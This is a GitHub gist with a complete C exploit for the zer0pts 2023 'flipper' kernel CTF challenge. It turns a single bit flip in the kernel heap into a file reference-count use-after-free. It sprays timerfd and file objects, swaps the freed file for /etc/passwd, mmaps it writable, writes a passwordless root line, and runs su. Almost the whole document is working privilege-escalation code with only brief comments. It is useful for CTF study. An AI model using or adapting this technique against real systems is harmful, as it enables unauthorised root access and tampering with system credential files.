Skip to content

Instantly share code, notes, and snippets.

@d4em0n
Created July 16, 2023 05:14
Show Gist options
  • Save d4em0n/470bd48ab6c084be0239f29759cd8747 to your computer and use it in GitHub Desktop.
Save d4em0n/470bd48ab6c084be0239f29759cd8747 to your computer and use it in GitHub Desktop.
zer0pts 2023 flipper exploit: exploiting single bit flip inside kernel heap
#define _GNU_SOURCE
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <fcntl.h>
#include <err.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <stdint.h>
#include <sys/timerfd.h>
#define CMD_ALLOC 0x13370000
#define CMD_FLIP 0x13370001
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
char *r00t = "root::0:0:root:/root:/bin/sh\n";
int fds[0x1000];
int tfile[0x1000];
char buf[0x1000];
int timers[0x1000];
int pipefd[2];
int pipe2fd[2];
int modfd;
#define NUM_SPRAY_FD 0xd00
#define NUM_SPRAY_TIMER 0xf00
int main()
{
int i, victim_fd = -1;
system("echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /tmp/A");
SYSCHK(pipe(pipefd));
SYSCHK(pipe(pipe2fd));
modfd = open("/dev/flipper", O_RDONLY);
printf("/dev/flipper fd: %d\n", modfd);
// simple & stupid heap shaping
for(i=0; i < NUM_SPRAY_TIMER; i++)
timers[i] = timerfd_create(CLOCK_REALTIME, 0);
for(i=NUM_SPRAY_TIMER-1; i >= 0x200; i--)
close(timers[i]);
sleep(1);
ioctl(modfd, CMD_ALLOC, 0x100);
for(i=0; i < NUM_SPRAY_FD; i++) {
fds[i] = open("/tmp/A", O_RDWR);
lseek(fds[i], 0x18, SEEK_SET);
}
if(fork() == 0) { // f_count 0b01 -> 0b10
sleep(100000);exit(0);
}
if(fork() == 0) { // f_count 0b10 -> 0b11
read(pipefd[0], buf, 1); // wait notif from parent
for(i=0; i<NUM_SPRAY_FD; i++)
close(fds[i]);
sleep(1);
for(i=0; i < NUM_SPRAY_FD; i++) {
fds[i] = open("/tmp/A", O_RDWR);
lseek(fds[i], 0x9, SEEK_SET);
}
write(pipe2fd[1], buf, 1); // send notif to parent
read(pipefd[0], buf, 1); // wait notif from parent
for(i=0; i<NUM_SPRAY_FD; i++) {
if(lseek(fds[i], 0, SEEK_CUR) == 0x0) {
printf("(child) found victim_fd: %d\n", fds[i]);
victim_fd = fds[i];
continue;
}
if(i%2) close(fds[i]);
}
close(victim_fd);
sleep(1);
for(i=0; i < NUM_SPRAY_FD; i++) { // replace victim_fd with passwd
fds[i] = open("/etc/passwd", O_RDONLY);
}
write(pipe2fd[1], buf, 1); // send notif to parent
sleep(100000);exit(0);
}
ioctl(modfd, CMD_FLIP, 0x1000*8+0x38*8+1); // flip f_count 0b11 -> 0b01
write(pipefd[1], buf, 1); // start freeing and reallocate hacked fd
read(pipe2fd[0], buf, 1); // wait child finish
for(i=0; i < NUM_SPRAY_FD; i++) {
int seek = lseek(fds[i], 0, SEEK_CUR);
if(seek == 0x9) {
printf("(parent) found victim_fd: %d\n", fds[i]);
lseek(fds[i], 0x0, SEEK_SET);
victim_fd = fds[i];
break;
}
}
char *data = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, victim_fd, 0);
SYSCHK(data);
close(victim_fd); // close /tmp/A
write(pipefd[1], buf, 1); // start spray /etc/passwd
read(pipe2fd[0], buf, 1); // wait spray finish
printf("writing to readonly file\n");
strcpy(data, r00t);
printf("done?\n");
system("su");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment